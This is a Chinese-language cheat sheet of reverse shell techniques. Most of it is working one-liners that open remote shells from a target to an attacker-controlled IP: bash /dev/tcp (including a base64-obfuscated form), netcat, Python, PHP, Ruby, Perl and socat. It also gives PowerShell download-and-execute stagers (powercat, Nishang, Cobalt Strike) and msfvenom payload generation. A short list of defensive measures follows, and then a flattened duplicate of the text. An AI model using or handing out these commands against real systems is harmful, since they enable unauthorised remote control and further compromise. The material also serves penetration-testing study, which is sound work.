反弹shell的方法总结
字数 902 2025-08-15 21:31:52

反弹Shell方法全面指南

一、反弹Shell基础概念

1. 什么是反弹Shell

反弹Shell(Reverse Shell)是一种网络攻击技术,控制端监听某TCP/UDP端口,被控端主动发起连接到该端口,并将其命令行的输入输出重定向到控制端。与标准Shell(如telnet、ssh)不同,反弹Shell实现了客户端与服务端角色的反转。

2. 为什么需要反弹Shell

反弹Shell通常用于以下场景:

  • 目标机器受防火墙限制,无法直接连接
  • 攻击者权限不足,无法建立直接连接
  • 目标机器端口被占用
  • 在渗透测试中绕过网络限制

二、Linux系统反弹Shell方法

1. Bash反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

Base64编码变体

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

2. Netcat反弹

nc -e /bin/bash 192.168.2.102 4444

-e参数指定连接后执行的程序,此处为反弹本地shell

3. Curl反弹

攻击者开启web服务,将bash命令写入html文件:

curl 192.168.2.103/bash.html|bash

4. Whois反弹

whois -h 192.168.2.102 -p 4444 `pwd`

注意:此方法只能执行whois命令后跟随的命令

5. Python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6. PHP反弹

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

7. Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

8. Socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

9. Perl反弹

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

三、Windows系统反弹Shell方法

1. Powercat反弹

远程下载执行

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

2. Netcat反弹

nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe

3. Nishang框架反弹

TCP反弹

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

UDP反弹
攻击机监听:

nc -lvup 4444

目标机执行:

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

4. MSF反弹

查找payload

msfvenom -l payloads | grep 'cmd/windows/reverse'

生成payload

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

5. Cobalt Strike反弹

服务端启动

./teamserver 192.168.2.103 123

生成payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"

四、防御建议

  1. 网络层面

    • 限制出站连接
    • 监控异常网络流量
    • 实施严格的防火墙规则
  2. 系统层面

    • 及时更新系统和应用补丁
    • 限制非必要命令执行权限
    • 监控可疑进程创建
  3. 应用层面

    • 禁用不必要的脚本解释器
    • 实施应用白名单
    • 监控命令执行行为
  4. 日志监控

    • 集中收集和分析系统日志
    • 设置异常行为告警
    • 定期审计系统活动

五、总结

反弹Shell技术种类繁多,攻击者可根据目标环境选择最适合的方法。作为防御方,需要全面了解这些技术原理,才能有效检测和防范此类攻击。建议通过沙箱环境练习这些技术,以便更好地理解其工作机制和防御方法。

反弹Shell方法全面指南 一、反弹Shell基础概念 1. 什么是反弹Shell 反弹Shell(Reverse Shell)是一种网络攻击技术,控制端监听某TCP/UDP端口,被控端主动发起连接到该端口,并将其命令行的输入输出重定向到控制端。与标准Shell(如telnet、ssh)不同,反弹Shell实现了客户端与服务端角色的反转。 2. 为什么需要反弹Shell 反弹Shell通常用于以下场景: 目标机器受防火墙限制,无法直接连接 攻击者权限不足,无法建立直接连接 目标机器端口被占用 在渗透测试中绕过网络限制 二、Linux系统反弹Shell方法 1. Bash反弹 Base64编码变体 : 2. Netcat反弹 -e 参数指定连接后执行的程序,此处为反弹本地shell 3. Curl反弹 攻击者开启web服务,将bash命令写入html文件: 4. Whois反弹 注意:此方法只能执行whois命令后跟随的命令 5. Python反弹 6. PHP反弹 7. Ruby反弹 8. Socat反弹 9. Perl反弹 三、Windows系统反弹Shell方法 1. Powercat反弹 远程下载执行 : 2. Netcat反弹 3. Nishang框架反弹 TCP反弹 : UDP反弹 : 攻击机监听: 目标机执行: 4. MSF反弹 查找payload : 生成payload : 5. Cobalt Strike反弹 服务端启动 : 生成payload : 四、防御建议 网络层面 : 限制出站连接 监控异常网络流量 实施严格的防火墙规则 系统层面 : 及时更新系统和应用补丁 限制非必要命令执行权限 监控可疑进程创建 应用层面 : 禁用不必要的脚本解释器 实施应用白名单 监控命令执行行为 日志监控 : 集中收集和分析系统日志 设置异常行为告警 定期审计系统活动 五、总结 反弹Shell技术种类繁多,攻击者可根据目标环境选择最适合的方法。作为防御方,需要全面了解这些技术原理,才能有效检测和防范此类攻击。建议通过沙箱环境练习这些技术,以便更好地理解其工作机制和防御方法。